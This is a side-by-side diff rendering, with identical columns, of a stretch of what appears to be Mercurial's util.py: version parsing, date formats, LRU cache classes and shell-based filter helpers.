448 | (3, 6, 1, '190-df9b73d2d444') |
|
448 | (3, 6, 1, '190-df9b73d2d444') | |
449 |
|
449 | |||
450 | >>> versiontuple('3.6.1+190-df9b73d2d444+20151118') |
|
450 | >>> versiontuple('3.6.1+190-df9b73d2d444+20151118') | |
451 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
451 | (3, 6, 1, '190-df9b73d2d444+20151118') | |
452 |
|
452 | |||
453 | >>> v = '3.6' |
|
453 | >>> v = '3.6' | |
454 | >>> versiontuple(v, 2) |
|
454 | >>> versiontuple(v, 2) | |
455 | (3, 6) |
|
455 | (3, 6) | |
456 | >>> versiontuple(v, 3) |
|
456 | >>> versiontuple(v, 3) | |
457 | (3, 6, None) |
|
457 | (3, 6, None) | |
458 | >>> versiontuple(v, 4) |
|
458 | >>> versiontuple(v, 4) | |
459 | (3, 6, None, None) |
|
459 | (3, 6, None, None) | |
460 |
|
460 | |||
461 | >>> v = '3.9-rc' |
|
461 | >>> v = '3.9-rc' | |
462 | >>> versiontuple(v, 2) |
|
462 | >>> versiontuple(v, 2) | |
463 | (3, 9) |
|
463 | (3, 9) | |
464 | >>> versiontuple(v, 3) |
|
464 | >>> versiontuple(v, 3) | |
465 | (3, 9, None) |
|
465 | (3, 9, None) | |
466 | >>> versiontuple(v, 4) |
|
466 | >>> versiontuple(v, 4) | |
467 | (3, 9, None, 'rc') |
|
467 | (3, 9, None, 'rc') | |
468 |
|
468 | |||
469 | >>> v = '3.9-rc+2-02a8fea4289b' |
|
469 | >>> v = '3.9-rc+2-02a8fea4289b' | |
470 | >>> versiontuple(v, 2) |
|
470 | >>> versiontuple(v, 2) | |
471 | (3, 9) |
|
471 | (3, 9) | |
472 | >>> versiontuple(v, 3) |
|
472 | >>> versiontuple(v, 3) | |
473 | (3, 9, None) |
|
473 | (3, 9, None) | |
474 | >>> versiontuple(v, 4) |
|
474 | >>> versiontuple(v, 4) | |
475 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
475 | (3, 9, None, 'rc+2-02a8fea4289b') | |
476 | """ |
|
476 | """ | |
477 | if not v: |
|
477 | if not v: | |
478 | v = version() |
|
478 | v = version() | |
479 | parts = remod.split('[\+-]', v, 1) |
|
479 | parts = remod.split('[\+-]', v, 1) | |
480 | if len(parts) == 1: |
|
480 | if len(parts) == 1: | |
481 | vparts, extra = parts[0], None |
|
481 | vparts, extra = parts[0], None | |
482 | else: |
|
482 | else: | |
483 | vparts, extra = parts |
|
483 | vparts, extra = parts | |
484 |
|
484 | |||
485 | vints = [] |
|
485 | vints = [] | |
486 | for i in vparts.split('.'): |
|
486 | for i in vparts.split('.'): | |
487 | try: |
|
487 | try: | |
488 | vints.append(int(i)) |
|
488 | vints.append(int(i)) | |
489 | except ValueError: |
|
489 | except ValueError: | |
490 | break |
|
490 | break | |
491 | # (3, 6) -> (3, 6, None) |
|
491 | # (3, 6) -> (3, 6, None) | |
492 | while len(vints) < 3: |
|
492 | while len(vints) < 3: | |
493 | vints.append(None) |
|
493 | vints.append(None) | |
494 |
|
494 | |||
495 | if n == 2: |
|
495 | if n == 2: | |
496 | return (vints[0], vints[1]) |
|
496 | return (vints[0], vints[1]) | |
497 | if n == 3: |
|
497 | if n == 3: | |
498 | return (vints[0], vints[1], vints[2]) |
|
498 | return (vints[0], vints[1], vints[2]) | |
499 | if n == 4: |
|
499 | if n == 4: | |
500 | return (vints[0], vints[1], vints[2], extra) |
|
500 | return (vints[0], vints[1], vints[2], extra) | |
501 |
|
501 | |||
502 | # used by parsedate |
|
502 | # used by parsedate | |
503 | defaultdateformats = ( |
|
503 | defaultdateformats = ( | |
504 | '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 |
|
504 | '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 | |
505 | '%Y-%m-%dT%H:%M', # without seconds |
|
505 | '%Y-%m-%dT%H:%M', # without seconds | |
506 | '%Y-%m-%dT%H%M%S', # another awful but legal variant without : |
|
506 | '%Y-%m-%dT%H%M%S', # another awful but legal variant without : | |
507 | '%Y-%m-%dT%H%M', # without seconds |
|
507 | '%Y-%m-%dT%H%M', # without seconds | |
508 | '%Y-%m-%d %H:%M:%S', # our common legal variant |
|
508 | '%Y-%m-%d %H:%M:%S', # our common legal variant | |
509 | '%Y-%m-%d %H:%M', # without seconds |
|
509 | '%Y-%m-%d %H:%M', # without seconds | |
510 | '%Y-%m-%d %H%M%S', # without : |
|
510 | '%Y-%m-%d %H%M%S', # without : | |
511 | '%Y-%m-%d %H%M', # without seconds |
|
511 | '%Y-%m-%d %H%M', # without seconds | |
512 | '%Y-%m-%d %I:%M:%S%p', |
|
512 | '%Y-%m-%d %I:%M:%S%p', | |
513 | '%Y-%m-%d %H:%M', |
|
513 | '%Y-%m-%d %H:%M', | |
514 | '%Y-%m-%d %I:%M%p', |
|
514 | '%Y-%m-%d %I:%M%p', | |
515 | '%Y-%m-%d', |
|
515 | '%Y-%m-%d', | |
516 | '%m-%d', |
|
516 | '%m-%d', | |
517 | '%m/%d', |
|
517 | '%m/%d', | |
518 | '%m/%d/%y', |
|
518 | '%m/%d/%y', | |
519 | '%m/%d/%Y', |
|
519 | '%m/%d/%Y', | |
520 | '%a %b %d %H:%M:%S %Y', |
|
520 | '%a %b %d %H:%M:%S %Y', | |
521 | '%a %b %d %I:%M:%S%p %Y', |
|
521 | '%a %b %d %I:%M:%S%p %Y', | |
522 | '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822" |
|
522 | '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822" | |
523 | '%b %d %H:%M:%S %Y', |
|
523 | '%b %d %H:%M:%S %Y', | |
524 | '%b %d %I:%M:%S%p %Y', |
|
524 | '%b %d %I:%M:%S%p %Y', | |
525 | '%b %d %H:%M:%S', |
|
525 | '%b %d %H:%M:%S', | |
526 | '%b %d %I:%M:%S%p', |
|
526 | '%b %d %I:%M:%S%p', | |
527 | '%b %d %H:%M', |
|
527 | '%b %d %H:%M', | |
528 | '%b %d %I:%M%p', |
|
528 | '%b %d %I:%M%p', | |
529 | '%b %d %Y', |
|
529 | '%b %d %Y', | |
530 | '%b %d', |
|
530 | '%b %d', | |
531 | '%H:%M:%S', |
|
531 | '%H:%M:%S', | |
532 | '%I:%M:%S%p', |
|
532 | '%I:%M:%S%p', | |
533 | '%H:%M', |
|
533 | '%H:%M', | |
534 | '%I:%M%p', |
|
534 | '%I:%M%p', | |
535 | ) |
|
535 | ) | |
536 |
|
536 | |||
537 | extendeddateformats = defaultdateformats + ( |
|
537 | extendeddateformats = defaultdateformats + ( | |
538 | "%Y", |
|
538 | "%Y", | |
539 | "%Y-%m", |
|
539 | "%Y-%m", | |
540 | "%b", |
|
540 | "%b", | |
541 | "%b %Y", |
|
541 | "%b %Y", | |
542 | ) |
|
542 | ) | |
543 |
|
543 | |||
544 | def cachefunc(func): |
|
544 | def cachefunc(func): | |
545 | '''cache the result of function calls''' |
|
545 | '''cache the result of function calls''' | |
546 | # XXX doesn't handle keywords args |
|
546 | # XXX doesn't handle keywords args | |
547 | if func.__code__.co_argcount == 0: |
|
547 | if func.__code__.co_argcount == 0: | |
548 | cache = [] |
|
548 | cache = [] | |
549 | def f(): |
|
549 | def f(): | |
550 | if len(cache) == 0: |
|
550 | if len(cache) == 0: | |
551 | cache.append(func()) |
|
551 | cache.append(func()) | |
552 | return cache[0] |
|
552 | return cache[0] | |
553 | return f |
|
553 | return f | |
554 | cache = {} |
|
554 | cache = {} | |
555 | if func.__code__.co_argcount == 1: |
|
555 | if func.__code__.co_argcount == 1: | |
556 | # we gain a small amount of time because |
|
556 | # we gain a small amount of time because | |
557 | # we don't need to pack/unpack the list |
|
557 | # we don't need to pack/unpack the list | |
558 | def f(arg): |
|
558 | def f(arg): | |
559 | if arg not in cache: |
|
559 | if arg not in cache: | |
560 | cache[arg] = func(arg) |
|
560 | cache[arg] = func(arg) | |
561 | return cache[arg] |
|
561 | return cache[arg] | |
562 | else: |
|
562 | else: | |
563 | def f(*args): |
|
563 | def f(*args): | |
564 | if args not in cache: |
|
564 | if args not in cache: | |
565 | cache[args] = func(*args) |
|
565 | cache[args] = func(*args) | |
566 | return cache[args] |
|
566 | return cache[args] | |
567 |
|
567 | |||
568 | return f |
|
568 | return f | |
569 |
|
569 | |||
570 | class sortdict(collections.OrderedDict): |
|
570 | class sortdict(collections.OrderedDict): | |
571 | '''a simple sorted dictionary |
|
571 | '''a simple sorted dictionary | |
572 |
|
572 | |||
573 | >>> d1 = sortdict([('a', 0), ('b', 1)]) |
|
573 | >>> d1 = sortdict([('a', 0), ('b', 1)]) | |
574 | >>> d2 = d1.copy() |
|
574 | >>> d2 = d1.copy() | |
575 | >>> d2 |
|
575 | >>> d2 | |
576 | sortdict([('a', 0), ('b', 1)]) |
|
576 | sortdict([('a', 0), ('b', 1)]) | |
577 | >>> d2.update([('a', 2)]) |
|
577 | >>> d2.update([('a', 2)]) | |
578 | >>> d2.keys() # should still be in last-set order |
|
578 | >>> d2.keys() # should still be in last-set order | |
579 | ['b', 'a'] |
|
579 | ['b', 'a'] | |
580 | ''' |
|
580 | ''' | |
581 |
|
581 | |||
582 | def __setitem__(self, key, value): |
|
582 | def __setitem__(self, key, value): | |
583 | if key in self: |
|
583 | if key in self: | |
584 | del self[key] |
|
584 | del self[key] | |
585 | super(sortdict, self).__setitem__(key, value) |
|
585 | super(sortdict, self).__setitem__(key, value) | |
586 |
|
586 | |||
587 | if pycompat.ispypy: |
|
587 | if pycompat.ispypy: | |
588 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
588 | # __setitem__() isn't called as of PyPy 5.8.0 | |
589 | def update(self, src): |
|
589 | def update(self, src): | |
590 | if isinstance(src, dict): |
|
590 | if isinstance(src, dict): | |
591 | src = src.iteritems() |
|
591 | src = src.iteritems() | |
592 | for k, v in src: |
|
592 | for k, v in src: | |
593 | self[k] = v |
|
593 | self[k] = v | |
594 |
|
594 | |||
595 | @contextlib.contextmanager |
|
595 | @contextlib.contextmanager | |
596 | def acceptintervention(tr=None): |
|
596 | def acceptintervention(tr=None): | |
597 | """A context manager that closes the transaction on InterventionRequired |
|
597 | """A context manager that closes the transaction on InterventionRequired | |
598 |
|
598 | |||
599 | If no transaction was provided, this simply runs the body and returns |
|
599 | If no transaction was provided, this simply runs the body and returns | |
600 | """ |
|
600 | """ | |
601 | if not tr: |
|
601 | if not tr: | |
602 | yield |
|
602 | yield | |
603 | return |
|
603 | return | |
604 | try: |
|
604 | try: | |
605 | yield |
|
605 | yield | |
606 | tr.close() |
|
606 | tr.close() | |
607 | except error.InterventionRequired: |
|
607 | except error.InterventionRequired: | |
608 | tr.close() |
|
608 | tr.close() | |
609 | raise |
|
609 | raise | |
610 | finally: |
|
610 | finally: | |
611 | tr.release() |
|
611 | tr.release() | |
612 |
|
612 | |||
613 | class _lrucachenode(object): |
|
613 | class _lrucachenode(object): | |
614 | """A node in a doubly linked list. |
|
614 | """A node in a doubly linked list. | |
615 |
|
615 | |||
616 | Holds a reference to nodes on either side as well as a key-value |
|
616 | Holds a reference to nodes on either side as well as a key-value | |
617 | pair for the dictionary entry. |
|
617 | pair for the dictionary entry. | |
618 | """ |
|
618 | """ | |
619 | __slots__ = (u'next', u'prev', u'key', u'value') |
|
619 | __slots__ = (u'next', u'prev', u'key', u'value') | |
620 |
|
620 | |||
621 | def __init__(self): |
|
621 | def __init__(self): | |
622 | self.next = None |
|
622 | self.next = None | |
623 | self.prev = None |
|
623 | self.prev = None | |
624 |
|
624 | |||
625 | self.key = _notset |
|
625 | self.key = _notset | |
626 | self.value = None |
|
626 | self.value = None | |
627 |
|
627 | |||
628 | def markempty(self): |
|
628 | def markempty(self): | |
629 | """Mark the node as emptied.""" |
|
629 | """Mark the node as emptied.""" | |
630 | self.key = _notset |
|
630 | self.key = _notset | |
631 |
|
631 | |||
632 | class lrucachedict(object): |
|
632 | class lrucachedict(object): | |
633 | """Dict that caches most recent accesses and sets. |
|
633 | """Dict that caches most recent accesses and sets. | |
634 |
|
634 | |||
635 | The dict consists of an actual backing dict - indexed by original |
|
635 | The dict consists of an actual backing dict - indexed by original | |
636 | key - and a doubly linked circular list defining the order of entries in |
|
636 | key - and a doubly linked circular list defining the order of entries in | |
637 | the cache. |
|
637 | the cache. | |
638 |
|
638 | |||
639 | The head node is the newest entry in the cache. If the cache is full, |
|
639 | The head node is the newest entry in the cache. If the cache is full, | |
640 | we recycle head.prev and make it the new head. Cache accesses result in |
|
640 | we recycle head.prev and make it the new head. Cache accesses result in | |
641 | the node being moved to before the existing head and being marked as the |
|
641 | the node being moved to before the existing head and being marked as the | |
642 | new head node. |
|
642 | new head node. | |
643 | """ |
|
643 | """ | |
644 | def __init__(self, max): |
|
644 | def __init__(self, max): | |
645 | self._cache = {} |
|
645 | self._cache = {} | |
646 |
|
646 | |||
647 | self._head = head = _lrucachenode() |
|
647 | self._head = head = _lrucachenode() | |
648 | head.prev = head |
|
648 | head.prev = head | |
649 | head.next = head |
|
649 | head.next = head | |
650 | self._size = 1 |
|
650 | self._size = 1 | |
651 | self._capacity = max |
|
651 | self._capacity = max | |
652 |
|
652 | |||
653 | def __len__(self): |
|
653 | def __len__(self): | |
654 | return len(self._cache) |
|
654 | return len(self._cache) | |
655 |
|
655 | |||
656 | def __contains__(self, k): |
|
656 | def __contains__(self, k): | |
657 | return k in self._cache |
|
657 | return k in self._cache | |
658 |
|
658 | |||
659 | def __iter__(self): |
|
659 | def __iter__(self): | |
660 | # We don't have to iterate in cache order, but why not. |
|
660 | # We don't have to iterate in cache order, but why not. | |
661 | n = self._head |
|
661 | n = self._head | |
662 | for i in range(len(self._cache)): |
|
662 | for i in range(len(self._cache)): | |
663 | yield n.key |
|
663 | yield n.key | |
664 | n = n.next |
|
664 | n = n.next | |
665 |
|
665 | |||
666 | def __getitem__(self, k): |
|
666 | def __getitem__(self, k): | |
667 | node = self._cache[k] |
|
667 | node = self._cache[k] | |
668 | self._movetohead(node) |
|
668 | self._movetohead(node) | |
669 | return node.value |
|
669 | return node.value | |
670 |
|
670 | |||
671 | def __setitem__(self, k, v): |
|
671 | def __setitem__(self, k, v): | |
672 | node = self._cache.get(k) |
|
672 | node = self._cache.get(k) | |
673 | # Replace existing value and mark as newest. |
|
673 | # Replace existing value and mark as newest. | |
674 | if node is not None: |
|
674 | if node is not None: | |
675 | node.value = v |
|
675 | node.value = v | |
676 | self._movetohead(node) |
|
676 | self._movetohead(node) | |
677 | return |
|
677 | return | |
678 |
|
678 | |||
679 | if self._size < self._capacity: |
|
679 | if self._size < self._capacity: | |
680 | node = self._addcapacity() |
|
680 | node = self._addcapacity() | |
681 | else: |
|
681 | else: | |
682 | # Grab the last/oldest item. |
|
682 | # Grab the last/oldest item. | |
683 | node = self._head.prev |
|
683 | node = self._head.prev | |
684 |
|
684 | |||
685 | # At capacity. Kill the old entry. |
|
685 | # At capacity. Kill the old entry. | |
686 | if node.key is not _notset: |
|
686 | if node.key is not _notset: | |
687 | del self._cache[node.key] |
|
687 | del self._cache[node.key] | |
688 |
|
688 | |||
689 | node.key = k |
|
689 | node.key = k | |
690 | node.value = v |
|
690 | node.value = v | |
691 | self._cache[k] = node |
|
691 | self._cache[k] = node | |
692 | # And mark it as newest entry. No need to adjust order since it |
|
692 | # And mark it as newest entry. No need to adjust order since it | |
693 | # is already self._head.prev. |
|
693 | # is already self._head.prev. | |
694 | self._head = node |
|
694 | self._head = node | |
695 |
|
695 | |||
696 | def __delitem__(self, k): |
|
696 | def __delitem__(self, k): | |
697 | node = self._cache.pop(k) |
|
697 | node = self._cache.pop(k) | |
698 | node.markempty() |
|
698 | node.markempty() | |
699 |
|
699 | |||
700 | # Temporarily mark as newest item before re-adjusting head to make |
|
700 | # Temporarily mark as newest item before re-adjusting head to make | |
701 | # this node the oldest item. |
|
701 | # this node the oldest item. | |
702 | self._movetohead(node) |
|
702 | self._movetohead(node) | |
703 | self._head = node.next |
|
703 | self._head = node.next | |
704 |
|
704 | |||
705 | # Additional dict methods. |
|
705 | # Additional dict methods. | |
706 |
|
706 | |||
707 | def get(self, k, default=None): |
|
707 | def get(self, k, default=None): | |
708 | try: |
|
708 | try: | |
709 | return self._cache[k].value |
|
709 | return self._cache[k].value | |
710 | except KeyError: |
|
710 | except KeyError: | |
711 | return default |
|
711 | return default | |
712 |
|
712 | |||
713 | def clear(self): |
|
713 | def clear(self): | |
714 | n = self._head |
|
714 | n = self._head | |
715 | while n.key is not _notset: |
|
715 | while n.key is not _notset: | |
716 | n.markempty() |
|
716 | n.markempty() | |
717 | n = n.next |
|
717 | n = n.next | |
718 |
|
718 | |||
719 | self._cache.clear() |
|
719 | self._cache.clear() | |
720 |
|
720 | |||
721 | def copy(self): |
|
721 | def copy(self): | |
722 | result = lrucachedict(self._capacity) |
|
722 | result = lrucachedict(self._capacity) | |
723 | n = self._head.prev |
|
723 | n = self._head.prev | |
724 | # Iterate in oldest-to-newest order, so the copy has the right ordering |
|
724 | # Iterate in oldest-to-newest order, so the copy has the right ordering | |
725 | for i in range(len(self._cache)): |
|
725 | for i in range(len(self._cache)): | |
726 | result[n.key] = n.value |
|
726 | result[n.key] = n.value | |
727 | n = n.prev |
|
727 | n = n.prev | |
728 | return result |
|
728 | return result | |
729 |
|
729 | |||
730 | def _movetohead(self, node): |
|
730 | def _movetohead(self, node): | |
731 | """Mark a node as the newest, making it the new head. |
|
731 | """Mark a node as the newest, making it the new head. | |
732 |
|
732 | |||
733 | When a node is accessed, it becomes the freshest entry in the LRU |
|
733 | When a node is accessed, it becomes the freshest entry in the LRU | |
734 | list, which is denoted by self._head. |
|
734 | list, which is denoted by self._head. | |
735 |
|
735 | |||
736 | Visually, let's make ``N`` the new head node (* denotes head): |
|
736 | Visually, let's make ``N`` the new head node (* denotes head): | |
737 |
|
737 | |||
738 | previous/oldest <-> head <-> next/next newest |
|
738 | previous/oldest <-> head <-> next/next newest | |
739 |
|
739 | |||
740 | ----<->--- A* ---<->----- |
|
740 | ----<->--- A* ---<->----- | |
741 | | | |
|
741 | | | | |
742 | E <-> D <-> N <-> C <-> B |
|
742 | E <-> D <-> N <-> C <-> B | |
743 |
|
743 | |||
744 | To: |
|
744 | To: | |
745 |
|
745 | |||
746 | ----<->--- N* ---<->----- |
|
746 | ----<->--- N* ---<->----- | |
747 | | | |
|
747 | | | | |
748 | E <-> D <-> C <-> B <-> A |
|
748 | E <-> D <-> C <-> B <-> A | |
749 |
|
749 | |||
750 | This requires the following moves: |
|
750 | This requires the following moves: | |
751 |
|
751 | |||
752 | C.next = D (node.prev.next = node.next) |
|
752 | C.next = D (node.prev.next = node.next) | |
753 | D.prev = C (node.next.prev = node.prev) |
|
753 | D.prev = C (node.next.prev = node.prev) | |
754 | E.next = N (head.prev.next = node) |
|
754 | E.next = N (head.prev.next = node) | |
755 | N.prev = E (node.prev = head.prev) |
|
755 | N.prev = E (node.prev = head.prev) | |
756 | N.next = A (node.next = head) |
|
756 | N.next = A (node.next = head) | |
757 | A.prev = N (head.prev = node) |
|
757 | A.prev = N (head.prev = node) | |
758 | """ |
|
758 | """ | |
759 | head = self._head |
|
759 | head = self._head | |
760 | # C.next = D |
|
760 | # C.next = D | |
761 | node.prev.next = node.next |
|
761 | node.prev.next = node.next | |
762 | # D.prev = C |
|
762 | # D.prev = C | |
763 | node.next.prev = node.prev |
|
763 | node.next.prev = node.prev | |
764 | # N.prev = E |
|
764 | # N.prev = E | |
765 | node.prev = head.prev |
|
765 | node.prev = head.prev | |
766 | # N.next = A |
|
766 | # N.next = A | |
767 | # It is tempting to do just "head" here, however if node is |
|
767 | # It is tempting to do just "head" here, however if node is | |
768 | # adjacent to head, this will do bad things. |
|
768 | # adjacent to head, this will do bad things. | |
769 | node.next = head.prev.next |
|
769 | node.next = head.prev.next | |
770 | # E.next = N |
|
770 | # E.next = N | |
771 | node.next.prev = node |
|
771 | node.next.prev = node | |
772 | # A.prev = N |
|
772 | # A.prev = N | |
773 | node.prev.next = node |
|
773 | node.prev.next = node | |
774 |
|
774 | |||
775 | self._head = node |
|
775 | self._head = node | |
776 |
|
776 | |||
777 | def _addcapacity(self): |
|
777 | def _addcapacity(self): | |
778 | """Add a node to the circular linked list. |
|
778 | """Add a node to the circular linked list. | |
779 |
|
779 | |||
780 | The new node is inserted before the head node. |
|
780 | The new node is inserted before the head node. | |
781 | """ |
|
781 | """ | |
782 | head = self._head |
|
782 | head = self._head | |
783 | node = _lrucachenode() |
|
783 | node = _lrucachenode() | |
784 | head.prev.next = node |
|
784 | head.prev.next = node | |
785 | node.prev = head.prev |
|
785 | node.prev = head.prev | |
786 | node.next = head |
|
786 | node.next = head | |
787 | head.prev = node |
|
787 | head.prev = node | |
788 | self._size += 1 |
|
788 | self._size += 1 | |
789 | return node |
|
789 | return node | |
790 |
|
790 | |||
791 | def lrucachefunc(func): |
|
791 | def lrucachefunc(func): | |
792 | '''cache most recent results of function calls''' |
|
792 | '''cache most recent results of function calls''' | |
793 | cache = {} |
|
793 | cache = {} | |
794 | order = collections.deque() |
|
794 | order = collections.deque() | |
795 | if func.__code__.co_argcount == 1: |
|
795 | if func.__code__.co_argcount == 1: | |
796 | def f(arg): |
|
796 | def f(arg): | |
797 | if arg not in cache: |
|
797 | if arg not in cache: | |
798 | if len(cache) > 20: |
|
798 | if len(cache) > 20: | |
799 | del cache[order.popleft()] |
|
799 | del cache[order.popleft()] | |
800 | cache[arg] = func(arg) |
|
800 | cache[arg] = func(arg) | |
801 | else: |
|
801 | else: | |
802 | order.remove(arg) |
|
802 | order.remove(arg) | |
803 | order.append(arg) |
|
803 | order.append(arg) | |
804 | return cache[arg] |
|
804 | return cache[arg] | |
805 | else: |
|
805 | else: | |
806 | def f(*args): |
|
806 | def f(*args): | |
807 | if args not in cache: |
|
807 | if args not in cache: | |
808 | if len(cache) > 20: |
|
808 | if len(cache) > 20: | |
809 | del cache[order.popleft()] |
|
809 | del cache[order.popleft()] | |
810 | cache[args] = func(*args) |
|
810 | cache[args] = func(*args) | |
811 | else: |
|
811 | else: | |
812 | order.remove(args) |
|
812 | order.remove(args) | |
813 | order.append(args) |
|
813 | order.append(args) | |
814 | return cache[args] |
|
814 | return cache[args] | |
815 |
|
815 | |||
816 | return f |
|
816 | return f | |
817 |
|
817 | |||
818 | class propertycache(object): |
|
818 | class propertycache(object): | |
819 | def __init__(self, func): |
|
819 | def __init__(self, func): | |
820 | self.func = func |
|
820 | self.func = func | |
821 | self.name = func.__name__ |
|
821 | self.name = func.__name__ | |
822 | def __get__(self, obj, type=None): |
|
822 | def __get__(self, obj, type=None): | |
823 | result = self.func(obj) |
|
823 | result = self.func(obj) | |
824 | self.cachevalue(obj, result) |
|
824 | self.cachevalue(obj, result) | |
825 | return result |
|
825 | return result | |
826 |
|
826 | |||
827 | def cachevalue(self, obj, value): |
|
827 | def cachevalue(self, obj, value): | |
828 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
828 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) | |
829 | obj.__dict__[self.name] = value |
|
829 | obj.__dict__[self.name] = value | |
830 |
|
830 | |||
831 | def pipefilter(s, cmd): |
|
831 | def pipefilter(s, cmd): | |
832 | '''filter string S through command CMD, returning its output''' |
|
832 | '''filter string S through command CMD, returning its output''' | |
833 | p = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
833 | p = subprocess.Popen(cmd, shell=True, close_fds=closefds, | |
834 | stdin=subprocess.PIPE, stdout=subprocess.PIPE) |
|
834 | stdin=subprocess.PIPE, stdout=subprocess.PIPE) | |
835 | pout, perr = p.communicate(s) |
|
835 | pout, perr = p.communicate(s) | |
836 | return pout |
|
836 | return pout | |
837 |
|
837 | |||
838 | def tempfilter(s, cmd): |
|
838 | def tempfilter(s, cmd): | |
839 | '''filter string S through a pair of temporary files with CMD. |
|
839 | '''filter string S through a pair of temporary files with CMD. | |
840 | CMD is used as a template to create the real command to be run, |
|
840 | CMD is used as a template to create the real command to be run, | |
841 | with the strings INFILE and OUTFILE replaced by the real names of |
|
841 | with the strings INFILE and OUTFILE replaced by the real names of | |
842 | the temporary files generated.''' |
|
842 | the temporary files generated.''' | |
843 | inname, outname = None, None |
|
843 | inname, outname = None, None | |
844 | try: |
|
844 | try: | |
845 | infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') |
|
845 | infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') | |
846 | fp = os.fdopen(infd, pycompat.sysstr('wb')) |
|
846 | fp = os.fdopen(infd, pycompat.sysstr('wb')) | |
847 | fp.write(s) |
|
847 | fp.write(s) | |
848 | fp.close() |
|
848 | fp.close() | |
849 | outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') |
|
849 | outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') | |
850 | os.close(outfd) |
|
850 | os.close(outfd) | |
851 | cmd = cmd.replace('INFILE', inname) |
|
851 | cmd = cmd.replace('INFILE', inname) | |
852 | cmd = cmd.replace('OUTFILE', outname) |
|
852 | cmd = cmd.replace('OUTFILE', outname) | |
853 | code = os.system(cmd) |
|
853 | code = os.system(cmd) | |
854 | if pycompat.sysplatform == 'OpenVMS' and code & 1: |
|
854 | if pycompat.sysplatform == 'OpenVMS' and code & 1: | |
855 | code = 0 |
|
855 | code = 0 | |
856 | if code: |
|
856 | if code: | |
857 | raise Abort(_("command '%s' failed: %s") % |
|
857 | raise Abort(_("command '%s' failed: %s") % | |
858 | (cmd, explainexit(code))) |
|
858 | (cmd, explainexit(code))) | |
859 | return readfile(outname) |
|
859 | return readfile(outname) | |
860 | finally: |
|
860 | finally: | |
861 | try: |
|
861 | try: | |
862 | if inname: |
|
862 | if inname: | |
863 | os.unlink(inname) |
|
863 | os.unlink(inname) | |
864 | except OSError: |
|
864 | except OSError: | |
865 | pass |
|
865 | pass | |
866 | try: |
|
866 | try: | |
867 | if outname: |
|
867 | if outname: | |
868 | os.unlink(outname) |
|
868 | os.unlink(outname) | |
869 | except OSError: |
|
869 | except OSError: | |
870 | pass |
|
870 | pass | |
871 |
|
871 | |||
872 | filtertable = { |
|
872 | filtertable = { | |
873 | 'tempfile:': tempfilter, |
|
873 | 'tempfile:': tempfilter, | |
874 | 'pipe:': pipefilter, |
|
874 | 'pipe:': pipefilter, | |
875 | } |
|
875 | } | |
876 |
|
876 | |||
877 | def filter(s, cmd): |
|
877 | def filter(s, cmd): | |
878 | "filter a string through a command that transforms its input to its output" |
|
878 | "filter a string through a command that transforms its input to its output" | |
879 | for name, fn in filtertable.iteritems(): |
|
879 | for name, fn in filtertable.iteritems(): | |
880 | if cmd.startswith(name): |
|
880 | if cmd.startswith(name): | |
881 | return fn(s, cmd[len(name):].lstrip()) |
|
881 | return fn(s, cmd[len(name):].lstrip()) | |
882 | return pipefilter(s, cmd) |
|
882 | return pipefilter(s, cmd) | |
883 |
|
883 | |||
884 | def binary(s): |
|
884 | def binary(s): | |
885 | """return true if a string is binary data""" |
|
885 | """return true if a string is binary data""" | |
886 | return bool(s and '\0' in s) |
|
886 | return bool(s and '\0' in s) | |
887 |
|
887 | |||
888 | def increasingchunks(source, min=1024, max=65536): |
|
888 | def increasingchunks(source, min=1024, max=65536): | |
889 | '''return no less than min bytes per chunk while data remains, |
|
889 | '''return no less than min bytes per chunk while data remains, | |
890 | doubling min after each chunk until it reaches max''' |
|
890 | doubling min after each chunk until it reaches max''' | |
891 | def log2(x): |
|
891 | def log2(x): | |
892 | if not x: |
|
892 | if not x: | |
893 | return 0 |
|
893 | return 0 | |
894 | i = 0 |
|
894 | i = 0 | |
895 | while x: |
|
895 | while x: | |
896 | x >>= 1 |
|
896 | x >>= 1 | |
897 | i += 1 |
|
897 | i += 1 | |
898 | return i - 1 |
|
898 | return i - 1 | |
899 |
|
899 | |||
900 | buf = [] |
|
900 | buf = [] | |
901 | blen = 0 |
|
901 | blen = 0 | |
902 | for chunk in source: |
|
902 | for chunk in source: | |
903 | buf.append(chunk) |
|
903 | buf.append(chunk) | |
904 | blen += len(chunk) |
|
904 | blen += len(chunk) | |
905 | if blen >= min: |
|
905 | if blen >= min: | |
906 | if min < max: |
|
906 | if min < max: | |
907 | min = min << 1 |
|
907 | min = min << 1 | |
908 | nmin = 1 << log2(blen) |
|
908 | nmin = 1 << log2(blen) | |
909 | if nmin > min: |
|
909 | if nmin > min: | |
910 | min = nmin |
|
910 | min = nmin | |
911 | if min > max: |
|
911 | if min > max: | |
912 | min = max |
|
912 | min = max | |
913 | yield ''.join(buf) |
|
913 | yield ''.join(buf) | |
914 | blen = 0 |
|
914 | blen = 0 | |
915 | buf = [] |
|
915 | buf = [] | |
916 | if buf: |
|
916 | if buf: | |
917 | yield ''.join(buf) |
|
917 | yield ''.join(buf) | |
918 |
|
918 | |||
919 | Abort = error.Abort |
|
919 | Abort = error.Abort | |
920 |
|
920 | |||
921 | def always(fn): |
|
921 | def always(fn): | |
922 | return True |
|
922 | return True | |
923 |
|
923 | |||
924 | def never(fn): |
|
924 | def never(fn): | |
925 | return False |
|
925 | return False | |
926 |
|
926 | |||
927 | def nogc(func): |
|
927 | def nogc(func): | |
928 | """disable garbage collector |
|
928 | """disable garbage collector | |
929 |
|
929 | |||
930 | Python's garbage collector triggers a GC each time a certain number of |
|
930 | Python's garbage collector triggers a GC each time a certain number of | |
931 | container objects (the number being defined by gc.get_threshold()) are |
|
931 | container objects (the number being defined by gc.get_threshold()) are | |
932 | allocated even when marked not to be tracked by the collector. Tracking has |
|
932 | allocated even when marked not to be tracked by the collector. Tracking has | |
933 | no effect on when GCs are triggered, only on what objects the GC looks |
|
933 | no effect on when GCs are triggered, only on what objects the GC looks | |
